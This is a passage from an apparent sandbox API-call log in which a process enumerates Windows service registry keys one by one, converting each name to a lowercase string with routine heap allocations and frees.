BaseAddress=0x21f1bf8) returned 1 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0228.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0228.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0228.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0228.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.875] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.875] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.875] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0228.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.875] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0228.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: 